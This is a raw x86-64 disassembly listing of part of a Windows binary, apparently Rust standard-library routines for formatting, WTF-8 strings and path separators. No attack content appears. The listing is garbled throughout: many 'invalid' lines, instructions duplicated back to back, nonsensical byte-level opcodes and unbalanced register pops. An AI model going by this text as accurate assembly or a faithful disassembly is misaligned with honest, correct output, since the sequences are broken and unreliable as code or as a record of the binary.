nop word cs:[rax + rax]
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x14012fcda
mov rax, rsi
sub rax, rcx
jb 0x14012fce3
fiadd dword [rcx]
add byte [rax], al
fiadd dword [rcx]
add byte [rax], al
add rdi, rcx
mov rsi, rax
jmp 0x14012faa0
invalid
pop qword [rcx + 0xf]
mov dh, 0x44
and al, 0xf
jmp 0x14012fb25
cmp al, 0x23
jne 0x14012fcc6
lea rax, [r15 - 2]
cmp rax, 2
jb 0x14012faa0
dec byte [rax - 0x7d]
clc
add cl, byte [rdi]
invalid
test r15, r15
je 0x14012faa0
lea rax, [r12 - 1]
mov qword [rbp - 0x18], rax
mov rcx, qword [r12 - 1]
mov rax, qword [r12 + 7]
mov qword [rbp - 8], rcx
mov qword [rbp - 0x10], rax
call qword [rax]
mov rax, qword [rbp - 0x10]
cmp qword [rax + 8], 0
je 0x14012fa83
cmp qword [rax + 0x10], 0x11
jae 0x14012fa6c
mov r8, qword [rbp - 8]
jmp 0x14012fa74
xor r12d, r12d
mov rax, r12
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r12, str.failed_to_write_whole_buffer
jmp 0x14012fcc6
lea r8, [0x1401db900]
mov rdx, rsi
call fcn.140160e60
ud2
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x40]
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x10]
mov edx, dword [rbp - 0x10]
mov edx, dword [rbp - 0x10]
call fcn.140013980
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
mov dword [rbp - 0x10], ecx
mov qword [rbp - 0x18], rax
call qword [rax]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
je 0x1401301cd
call 0xcb5b129f
call 0x1488b84ee
add byte [rsp + 0x48], dh
cmp dword [rax + 0x10], 0x11
jae case.0x14012f071.842
invalid
mov r8, qword [rbp - 0x10]
mov r8, qword [r8 - 8]
jle 0x1401301cf
call fcn.14013a670
nop
add rsp, 0x20
pop rbp
ret
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140130263
add byte [rax + 0xf], cl
cli
xor edx, edx
mov r8, rdi
ror byte [rcx - 0x77], cl
clc
shr r8, 0x3e
sete dl
lea r8, [rdi + rdi]
add rdx, rdx
test rcx, rcx
leave
leave
je case.0x140107dc6.712
mov rcx, qword [rsi]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x38], rax
jmp 0x140130307
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0x28]
call fcn.140058090
cmp qword [rsp + 0x40], 0
and al, 0x40
add byte [rax - 0x75], cl
and al, 0x48
and al, 0x40
add byte [rax - 0x75], cl
and al, 0x48
je 0x14013033e
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x140130345
test rcx, rcx
jne 0x14013034c
call fcn.1400138d0
ud2
mov qword [rsi], rcx
mov qword [rsi + 8], rdi
add rsp, 0x58
pop rdi
pop rsi
ret
mov rdx, qword [rsp + 0x50]
call fcn.14015d7f0
ud2
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov esi, dword [rcx + rax*8]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0x40]
lea rdx, [0x14012dc00]
invalid
call fcn.14012dc40
invalid
inc esi
xchg byte [rax], dl
add byte [rax], al
add byte [rcx], al
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
ror dword [rax - 0x7d], 0xb8
add byte [rax], al
add byte [rax], al
jne 0x14013045a
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0x40], 0xffffffffffffffff
mov rax, qword [rax + 0x48]
test rax, rax
jne 0x14013042f
xor ecx, ecx
call fcn.14012d3c0
mov ecx, dword [0x1402153fc]
or eax, 0xe4fe1
or eax, 0xe4fe1
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0x48], rax
add byte [rax], al
invalid
lock inc qword [rax]
jle 0x140130484
mov ecx, dword [0x1402153fc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov ecx, dword [rdx + rcx*8]
invalid
invalid
invalid
lea rax, [0x1401dbfe8]
mov qword [rsp + 0x20], rax
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + rax*8]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0x40]
call fcn.14012dcd0
nop
add rsp, 0x28
sub byte [rsi + 0x5d], bl
sub byte [rsi + 0x5d], bl
ret
int3
mov byte [rcx + 0x10], 1
lock dec qword [rcx + 8]
jne 0x14013050b
mov rcx, qword [rcx]
add rcx, 0x28
jmp fcn.14012e0b0
ret
invalid
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x80]
add byte [rax], 0
invalid
add byte [rax], 0
add al, ch
and eax, 0xfffffd6
invalid
dec dword [rdi]
or ecx, dword [rdi]
invalid
add byte [rax], al
call fcn.14012dce0
ud2
invalid
in al, dx
and byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x73], cl
invalid
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop rbp
ret
or al, byte [rax]
lea rcx, [rbp - 0x60]
call fcn.140160e20
ud2
nop dword [rax]
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax], 0
add al, ch
jae 0x14013093e
invalid
dec dword [rdi]
invalid
or edx, dword [rax + 0x24548948]
adc byte [rbp + 0x41], dl
push rdi
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax], 0
add byte [rax - 0x73], cl
sbb r8b, r13b
scasd eax, dword [rdi]
sar edi, cl
call qword [rax + 0x28c48348]
call qword [rax + 0x28c48348]
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov qword [rsp + 0x48], 1
add byte [rax], al
lea rdx, [0x1401d9d98]
lea rcx, [rsp + 0x68]
lea r8, [rsp + 0x30]
xor al, ch
and dword [rbx - 0x74b7000e], edx
and al, 0x78
invalid
xor al, ch
and dword [rbx - 0x74b7000e], edx
and al, 0x78
invalid
js 0x140130a89
test al, al
jne 0x140130bfa
leave
je 0x140130c32
jmp 0x140130c5d
mov dword [rsp + 0x90], eax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x68], rax
lea rax, [0x14012ae20]
add eax, 0xffffa2cc
add eax, 0xffffa2cc
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x30], 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x40], 2
mov qword [rsp + 0x50], 0
movabs rax, 0x400000020
mov qword [rsp + 0x58], rax
and al, 0x58
and al, 0x58
mov byte [rsp + 0x60], 3
lea rax, [0x140204aa8]
add ecx, dword [rax - 0x73]
add eax, 0xd3f19
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 1
movabs al, byte [0x4800000001000000]
lea eax, [rsp + 0x30]
and al, 0x30
movabs al, byte [0x4800000001000000]
lea eax, [rsp + 0x30]
and al, 0x30
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x30
and al, 0x30
and al, 0x30
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x68]
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x68
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 1
lea rdx, [0x1401d9d98]
add byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x98
cwde
add byte [rax], al
add al, ch
invalid
xchg edx, eax
dec dword [rax - 0x75]
and al, 0x78
test al, al
je 0x140130c1d
test rcx, rcx
je 0x140130c1d
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.size_limit_reached_fmt::Error__from__SizeLimitedFmtAdapter__was_discarded
invalid
cdq
or al, byte [rax]
mov r8d, setsockopt
call qword [rax + 0x18]
test al, al
jne 0x140130c57
jmp 0x140130c26
test al, al
jne 0x140130c57
test rcx, rcx
jne 0x140130c85
mov rbx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x75], r9b
jo 0x140130c4a
mov rdx, qword [rdi + 0x30]
mov r8, qword [rdi + 0x38]
mov rcx, rbx
call rsi
jmp 0x140130c5d
invalid
mov al, 1
jmp 0x140130c5d
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, [0x1401da5e0]
mov qword [rsp + 0x20], rax
lea rcx, [0x1401da5a4]
lea r9, [0x1401d9e30]
lea r8, [rsp + 0x30]
mov edx, 0x37
call fcn.140161200
ud2
add dword [rax], eax
add dh, bh
invalid
mov ebp, ecx
cmp qword [rdx], 0
mov rdx, qword [rdx + 8]
or byte [rbx + rcx*4 + 0x40], cl
invalid
je 0x140130d18
or byte [rbx + rcx*4 + 0x40], cl
adc byte [rax + rbp + 0x48], dh
lea ecx, [rbp + 0x40]
invalid
lea rcx, [rbp + 0x40]
call fcn.140131ca0
call fcn.140131ca0
movzx eax, byte [rbp + 0x58]
mov byte [rbp + 0x14f], al
test bl, bl
je 0x140130d5f
mov rsi, qword [rbp + 0x40]
mov rbx, qword [rbp + 0x48]
mov r11, qword [rbp + 0x50]
jmp case.0x14005f6a2.3089
lea rcx, [rbp + 0xb0]
call fcn.14005a400
cmp qword [rbp + 0xb0], 0
mov eax, 9
cmove rax, qword [rbp + 0xc0]
lea rcx, [0x1401dbf79]
add byte [rax + 0xf], cl
lea r15d, [rax + 0x48000000]
mov dword [rbp + 0x40], ecx
add byte [rax + 0xf], cl
lea r15d, [rax + 0x48000000]
mov dword [rbp + 0x40], ecx
mov qword [rbp + 0x48], rax
mov byte [rbp + 0x58], 2
mov byte [rbp + 0x14f], 2
test bl, bl
jne case.default.0x140130dd2
mov qword [rbp + 0x128], r13
cmp byte [rbp + 0x14f], 2
mov rdx, qword [rbp + 0x40]
mov rax, qword [rbp + 0x48]
mov r14, qword [rbp + 0x50]
mov qword [rbp + 0x138], r14
mov ch, 0x38
add dword [rax], eax
add byte [rax - 0x77], cl
test dword [rax], esi
xor byte [rcx], al
add byte [rax], al
cmove r14, rax
add byte [rax], al
mov qword [rbp + 0x140], rdx
add dword [rax], eax
add byte [rbp - 0x77], cl
invalid
mov r8, r14
call fcn.140132050
scasd eax, dword [rdi]
adc al, byte [rax]
add byte [rax], al
movzx eax, byte [rbp + 0xb0]
mov rcx, qword [rbp + 0xc0]
mov rdx, qword [rbp + 0xd0]
movzx r8d, al
lea r9, [0x14020b630]
movsxd r10, dword [r9 + r8*4]
add r10, r9
mov r8, r14
mov r9, qword [rbp + 0x140]
jmp r10
add rcx, 4
jmp 0x140130e0f
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 8
ror dword [rax], 0xeb
invalid
mov ecx, 6
jmp 0x140130e0f
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
ret 0x14c
ror dword [rax - 0x7d], 0xc1
add ch, bl
invalid
mov ecx, 2
mov r8, r14
sub r8, rcx
jb 0x140131aa1
test r8, r8
je case.0x14010e86a.712
stc
pop rsp
sete dl
cmp cl, 0x2f
sete cl
or cl, dl
cmp al, 5
jae 0x140130e48
jmp 0x140130e66
test cl, cl
jne 0x140130e66
mov rsi, qword [rbp + 0x140]
mov rbx, qword [rbp + 0x130]
xor byte [rcx], al
add byte [rax], al
mov r13, qword [rbp + 0x128]
jmp 0x140130f62
lea rcx, [rbp + 0xb0]
mov rdx, qword [rbp + 0x140]
mov r8, r14
call fcn.140132050
movzx eax, byte [rbp + 0xb0]
mov rcx, qword [rbp + 0xc0]
mov rdx, qword [rbp + 0xd0]
movzx r8d, al
lea r9, [0x14020b64c]
or eax, 0xda7b0
or eax, 0xda7b0
movsxd r8, dword [r9 + r8*4]
add r8, r9
mov r13, qword [rbp + 0x128]
jmp r8
jmp rax
jmp rax
add rcx, 4
jmp 0x140130ee7
invalid
xor al, 0x4c
lea eax, [rdx + 1]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 8
jmp 0x140130ee7
invalid
and byte [rcx + 6], bh
mov ecx, 6
jmp 0x140130ee7
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 2
jmp 0x140130ee7
mov ecx, 2
add byte [rcx + rdi - 0xf], cl
cmp rcx, r14
ja 0x140131ab5
test r15, r15
je case.default.0x140130f48
cmp al, 6
je case.default.0x140130f48
mov r13, qword [r15]
mov rsi, qword [r15 + 0x10]
lea rcx, [rbp + 0xb0]
mov rdx, qword [rbp + 0x140]
mov edx, dword [rbp + 0x140]
mov edx, dword [rbp + 0x140]
mov r8, r14
call fcn.140132050
adc dword [rax], eax
add byte [rdi + rcx - 0x4a], al
mov ebp, 0xb0
adc dword [rax], eax
add byte [rdi + rcx - 0x4a], al
mov ebp, 0xb0
mov rcx, qword [rbp + 0xc0]
mov rax, qword [rbp + 0xd0]
add byte [rax], al
add byte [rax], al
movzx edx, r15b
lea r8, [0x14020b668]
movsxd r9, dword [r8 + rdx*4]
invalid
or al, 0x90
invalid
add r9, r8
mov rdx, r14
mov r8, qword [rbp + 0x140]
add byte [rcx - 1], al
invalid
add byte [rcx - 1], al
loope 0x140130f94
invalid
add rcx, 4
add ecx, 4
jmp case.0x1400693d1.2918
mov rsi, qword [rbp + 0x140]
mov rbx, qword [rbp + 0x130]
add dword [rax], eax
add byte [rax - 0x75], cl
popfq
xor byte [rcx], al
add byte [rax], al
mov r11, qword [rbp + 0x138]
cmp byte [rbp + 0x14f], 2
mov qword [rbp + 0x130], rbx
cmove r11, rbx
fisttp dword [rax - 0x77]
lea r12, [rsi + r11]
fisttp dword [rax - 0x77]
lea r12, [rsi + r11]
mov r14, qword [r13 + 0x20]
mov rdi, qword [r13 + 0x28]
xor ecx, ecx
leave
leave
cmp rcx, r11
je 0x1401310d2
add byte [rax - 0x73], cl
adc al, 0xb
lea rdx, [rbx + rcx]
mov r15, rcx
mov r8, rdx
jmp case.0x14005f6a2.3095
add r8, 2
cmp rax, r12
cmovne rax, r8
mov r10d, 2
mov edx, 2
mov edx, 2
nop word cs:[rax + rax]
add byte [rax], al
add r15, r10
mov r8, rax
cmp rax, r12
je 0x1401310d5
lea rax, [r8 + 1]
movzx r9d, byte [r8]
mov r10d, 1
test r9b, r9b
jns 0x140130fc0
cmp r9b, 0xe0
jb 0x140130fa1
cmp r9b, 0xed
jne 0x14013101a
cmp rax, r12
je 0x1401310d5
lea rax, [r8 + 2]
cmp rax, r12
loopne case.0x14005f6a2.3099
test cl, dl
add byte [rax], al
invalid
loopne case.0x14005f6a2.3099
test cl, dl
add byte [rax], al
add byte [rcx - 0x80], al
js 0x140131009
cmp byte [r8 + 1], 0x9f
lahf
ja 0x140131054
add r8, 3
mov r10d, 3
add eax, dword [rcx - 0x46]
add eax, dword [rax]
add byte [rax], al
mov rax, r8
jmp 0x140130fc0
add r8, 2
cmp rax, r12
cmp eax, esp
cmp eax, esp
cmove r8, rax
xor eax, eax
cmp r8, r12
setne al
add rax, r8
mov r10d, 3
cmp r9b, 0xf0
jb 0x140130fc0
xor r8d, r8d
cmp rax, r12
loopne 0x140131084
setne al
loopne 0x140131084
setne al
add rax, r8
mov r10d, 4
jmp 0x140130fc0
invalid
invalid
invalid
mov r8, r15
sub r8, rcx
jb 0x140131ae1
mov qword [rbp + 0x128], r13
sub byte [rcx], al
add byte [rax], al
mov qword [rbp + 0x138], r11
cmp r15, r11
ja 0x140131ac9
or al, byte [rax]
invalid
or al, byte [rax]
add byte [rax - 0x75], cl
ja 0x140131093
mov rsi, qword [rdi + 0x18]
mov rcx, r14
call rsi
mov r13b, 1
test al, al
sal byte [rbp + 0x73], 0x41
mov eax, 3
jne 0x1401310fa
mov r8d, 3
mov rcx, r14
lea rdx, [0x1401ddec0]
invalid
sub esi, ecx
or al, byte [rax]
invalid
add bh, bh
invalid
call rsi
test al, al
invalid
jne 0x1401310fa
add r15, 3
mov rcx, r15
mov r11, qword [rbp + 0x138]
cmp byte [rcx], al
add byte [rax], al
cmp byte [rcx], al
add byte [rax], al
cmp r15, r11
mov r13, qword [rbp + 0x128]
jbe 0x140130f8c
sar esi, 1
invalid
invalid
invalid
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r15
mov rdx, r11
call fcn.140160e60
xchg ebx, eax
std
add al, byte [rax]
xchg ebx, eax
std
add al, byte [rax]
jmp 0x140131b5e
mov rcx, r11
sub r11, rcx
lea rdx, [rbx + rcx]
adc al, 0xb
adc al, 0xb
test rcx, rcx
je 0x1401310ec
mov rcx, r14
mov r8, r11
call qword [rdi + 0x18]
jmp 0x1401310f7
invalid
or ecx, dword [rcx + rcx*4 - 0x17]
mov rcx, r13
mov r8, r11
call fcn.140059ad0
mov r13d, eax
invalid
cmp byte [rbp + 0x14f], 2
je 0x14013111f
add byte [rax], al
add dh, byte [rsp + rbx + 0x48]
cmp dword [rbp + 0x130], 0
add dword [rax], eax
add byte [rax], al
cmp qword [rbp + 0x130], 0
add dword [rax], eax
add byte [rax], al
je 0x14013111f
mov rcx, qword [0x140215360]
xor edx, edx
ror byte [rcx - 0x77], cl
invalid
invalid
ror byte [rcx - 0x77], cl
fdivr st(7)
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, r13d
add rsp, 0x1d8
add esp, 0x1d8
add esp, 0x1d8
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
invalid
invalid
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
jmp case.0x1400693d1.2918
mov ecx, 6
jmp case.0x1400693d1.2918
mov ecx, 6
add byte [rax], al
jmp case.0x1400693d1.2918
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
rol dword [rdx], 0xeb
invalid
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
rol dword [rdx], 0xeb
add eax, 0x2b9
invalid
add al, byte [rax]
invalid
mov ecx, 2
add byte [rcx + rcx*4 - 0xe], cl
mov rdx, r14
sub rdx, rcx
jb 0x140131af2
add rcx, qword [rbp + 0x140]
mov r8, rcx
invalid
test rdx, rdx
je 0x140131197
movzx eax, byte [r8]
cmp al, 0x5c
sete cl
cmp al, 0x2f
sete bl
or bl, cl
jmp 0x140131199
xor ebx, ebx
mov rax, qword [rbp + 0xd0]
mov qword [rbp + 0x2f], rax
mov dword [rbp + 0x2f], eax
movups xmm0, xmmword [rbp + 0xb1]
movups xmm1, xmmword [rbp + 0xc1]
add byte [rdi], cl
adc byte [rbp + 0xc1], cl
movaps xmmword [rbp + 0x20], xmm1
movaps xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0xb0]
add byte [rax], al
add byte [rcx + rcx*4 - 0x16], cl
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x16], cl
invalid
mov r8, rsi
mov eax, esi
call fcn.140132050
movzx edx, byte [rbp + 0xb0]
mov al, 0
add byte [rax], al
mov rcx, qword [rbp + 0xc0]
mov rax, qword [rbp + 0xd0]
test eax, edx
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
pushfq
movsb byte [rdi], byte [rsi]
invalid
invalid
add byte [rax - 0x75], cl
test eax, edx
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
pushfq
movsb byte [rdi], byte [rsi]
or eax, 0xc634d00
nop
lea eax, [0x14020b684]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, rsi
mov edx, esi
mov edx, esi
mov r8, r13
jmp r9
jmp rcx
add rcx, 4
jmp 0x140131232
invalid
xor al, 0x48
lea edx, [rax + 1]
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x140131232
invalid
and byte [rcx + 6], bh
mov ecx, 6
jmp 0x140131232
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
add ecx, 2
add ecx, 2
jmp 0x140131232
mov ecx, 2
mov rdx, rsi
sub rdx, rcx
sub edx, ecx
jb 0x140131b03
add rcx, r13
mov r8, rcx
test rdx, rdx
je 0x14013125b
movzx eax, byte [r8]
cmp al, 0x5c
sete cl
cmp al, 0x2f
sete al
or al, cl
jmp 0x14013125d
xor eax, eax
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], rsi
movups xmm0, xmmword [rbp + 0xb0]
mov al, 0
add byte [rax], al
movups xmm1, xmmword [rbp + 0xc0]
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm1
call 0x110a09dc7
add byte [rax], al
add byte [rax - 0x77], cl
clc
clc
invalid
mov byte [rbp + 2], al
mov word [rbp], 0x200
mov dword [rbp], 0x8d4c0200
movsd dword [rdi], dword [rsi]
invalid
add byte [rax], al
invalid
mov dil, 2
xor edx, edx
mov r13, qword [rbp + 0x140]
mov ecx, ebx
jmp 0x140131301
movzx eax, byte [rbp + 0xb1]
cmp al, byte [rbp + 0xe9]
jne case.default.0x140131419
invalid
nop dword [rax]
mov r13, qword [rbp + 0x70]
mov r14, qword [rbp + 0x78]
movzx r15d, byte [rbp + 0x80]
movzx edi, byte [rbp + 0x80]
movups xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
adc byte [rdi], cl
sub dword [rbp + 0x10], eax
movaps xmmword [rbp + 0x20], xmm1
mov rax, qword [r12 + 0x1f]
mov qword [rbp + 0x2f], rax
invalid
movzx edx, byte [rbp + 0xa8]
movzx edi, byte [rbp + 0xa9]
movzx ecx, byte [rbp + 0xaa]
invalid
stosb byte [rdi], al
add byte [rax], al
invalid
cmp r15b, 6
je 0x140131328
mov rax, qword [rbp + 0x2f]
mov qword [rbp + 0xcf], rax
test edi, ecx
add byte [rax], al
add byte [rdi], cl
sub byte [rbp + 0x10], al
movaps xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0xc0], xmm1
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0xb0], eax
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x78], r14
js 0x140131375
mov byte [rbp + 0x80], bh
mov rax, qword [rbp + 0xcf]
mov qword [r12 + 0x1f], rax
and al, 0x1f
movaps xmm0, xmmword [rbp + 0xb0]
movaps xmm1, xmmword [rbp + 0xc0]
movups xmmword [r12 + 0x10], xmm1
movups xmmword [r12], xmm0
mov ebx, ecx
mov byte [rbp + 0xaa], cl
add byte [rax], al
mov rsi, rdx
mov byte [rbp + 0xa8], dl
mov byte [rbp + 0xa9], dil
add byte [rax - 0x73], cl
invalid
mov al, 0
add byte [rax], al
lea rdx, [rbp + 0x70]
call fcn.140132500
lea rcx, [rbp + 0xe8]
lea rdx, [rbp - 0x38]
call fcn.140132500
movzx eax, byte [rbp + 0xb0]
movzx ecx, byte [rbp + 0xe8]
invalid
call 0x1881313a3
cmp eax, 0xa
je 0x1401314b7
invalid
cmp cl, 0xa
je 0x1401314c0
test byte [rbx], cl
add dword [rax], eax
invalid
test byte [rbx], cl
add dword [rax], eax
add byte [rbp + 0xf44fa50], cl
movzx eax, dl
lea edx, [rax - 6]
movzx r8d, dl
movzx eax, dl
lea rdx, [r8 + 1]
cmp r8b, 4
mov r11d, 0
add byte [rax], al
add byte [rcx + 0xf], cl
rol dword [r13 + r9*4 + 0x41], cl
cli
movzx r9d, r8b
lea r10, [r9 + 1]
cmp r9b, 4
cmovae r10, r11
cmp rdx, r10
ror byte [rdi], cl
test dword [rcx - 6], esp
cli
jne case.default.0x140131419
cli
invalid
cmp edx, 4
je case.0x140131419.0
test rdx, rdx
jne 0x1401312c0
cmp r8b, 4
jb 0x1401312c0
cmp al, cl
jne case.default.0x140131419
lea rcx, [0x14020b6a0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
mov r8, qword [rbp + 0xc0]
cmp r8, qword [rbp + 0xf8]
jne case.default.0x140131419
mov rcx, qword [rbp + 0xb8]
mov rdx, qword [rbp + 0xf0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1401312c0
jmp case.default.0x140131419
mov r8, qword [rbp + 0xc0]
cmp r8, qword [rbp + 0xf8]
jne case.default.0x140131419
mov rcx, qword [rbp + 0xb8]
mov rdx, qword [rbp + 0xf0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne case.default.0x140131419
mov r8, qword [rbp + 0xd0]
cmp r8, qword [rbp + 0x108]
jne case.default.0x140131419
mov rcx, qword [rbp + 0xc8]
mov rdx, qword [rbp + 0x100]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1401312c0
jmp case.default.0x140131419
cmp cl, 0xa
jne case.default.0x140131419
mov rax, qword [rbp + 0x2f]
mov qword [rbp - 0x41], rax
movaps xmm0, xmmword [rbp + 0x10]
movaps xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp - 0x50], xmm1
movaps xmmword [rbp - 0x60], xmm0
mov ecx, ebx
cmp cl, 2
je case.default.0x140131419
cmp r15b, 6
je 0x14013150a
mov rax, qword [rbp - 0x41]
mov qword [rbp + 0xcf], rax
movaps xmm0, xmmword [rbp - 0x60]
movaps xmm1, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0xc0], xmm1
movaps xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x78], r14
mov byte [rbp + 0x80], r15b
movaps xmm0, xmmword [rbp + 0xb0]
movaps xmm1, xmmword [rbp + 0xc0]
movups xmmword [rbp + 0x81], xmm0
movups xmmword [rbp + 0x91], xmm1
mov rax, qword [rbp + 0xcf]
mov qword [rbp + 0xa0], rax
mov byte [rbp + 0xaa], cl
mov byte [rbp + 0xa8], sil
mov byte [rbp + 0xa9], dil
cmp sil, 2
jne 0x140131617
test r14, r14
je 0x140131661
cmp r15b, 3
jae 0x1401315b0
xor eax, eax
nop word cs:[rax + rax]
cmp byte [r13 + rax], 0x5c
je 0x140131597
inc rax
cmp r14, rax
jne 0x140131580
xor ecx, ecx
mov rax, r14
jmp 0x14013159c
mov ecx, 1
test rax, rax
jne 0x14013160d
add r13, rcx
sub r14, rcx
jne 0x140131570
mov ecx, ebx
xor r14d, r14d
jmp 0x14013160f
xor ecx, ecx
nop word cs:[rax + rax]
movzx eax, byte [r13 + rcx]
cmp eax, 0x2f
je 0x1401315df
cmp eax, 0x5c
je 0x1401315df
inc rcx
cmp r14, rcx
jne 0x1401315c0
xor eax, eax
mov rcx, r14
jmp 0x1401315e4
mov eax, 1
test rcx, rcx
je 0x1401315f6
cmp rcx, 1
jne 0x14013160d
cmp byte [r13], 0x2e
jne 0x14013160d
add rcx, rax
cmp r14, rcx
jb 0x140131b14
add r13, rcx
sub r14, rcx
jne 0x1401315b0
xor r14d, r14d
mov ecx, ebx
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x78], r14
cmp dil, 2
jne 0x1401319ab
xor eax, eax
cmp sil, 1
ja 0x140131658
cmp r15b, 5
jb case.0x140130f48.21
test cl, cl
jne case.0x140130f48.21
xor ecx, ecx
cmp r15b, 6
je 0x14013164f
test sil, sil
jne 0x14013164f
add cl, byte [rdi]
invalid
cmp rcx, r14
jne 0x140131669
xor eax, eax
jmp case.0x140130f48.21
xor edx, edx
xor ecx, ecx
jmp 0x140131722
xor r14d, r14d
jmp 0x1401319b4
lea rax, [r14 + r13]
lea eax, [rsi + rbp]
lea rdx, [rcx + r13]
inc rdx
ret 0x3948
ret 0x940f
rol byte [rcx + 0xf], 0xb6
invalid
invalid
invalid
ret 0x3948
test al, 1
jne 0x14013169a
cmp cl, 0x2e
jne 0x14013169a
movzx eax, byte [rdx]
cmp al, 0x5c
sete cl
xchg esp, eax
invalid
cmp al, 0x2f
sete al
or al, cl
jmp case.0x140130f48.21
cmp cl, 0x2e
sete cl
and al, cl
xor ecx, ecx
cmp r15b, 6
je 0x140131720
test sil, sil
test dh, dh
jne 0x140131720
movzx ecx, r15b
lea rdx, [0x14020b6b8]
or eax, 0xc634800
invalid
or eax, 0xc634800
mov cl, byte [rax + 1]
add rcx, rdx
jmp rcx
invalid
add rcx, rdx
jmp rcx
mov rcx, qword [rbp + 0x90]
mov ecx, dword [rbp + 0x90]
add rcx, 4
add ecx, 4
jmp 0x140131720
mov rcx, qword [rbp + 0x90]
mov rdx, qword [rbp + 0xa0]
movabs al, byte [0x4801428d4c000000]
test edx, edx
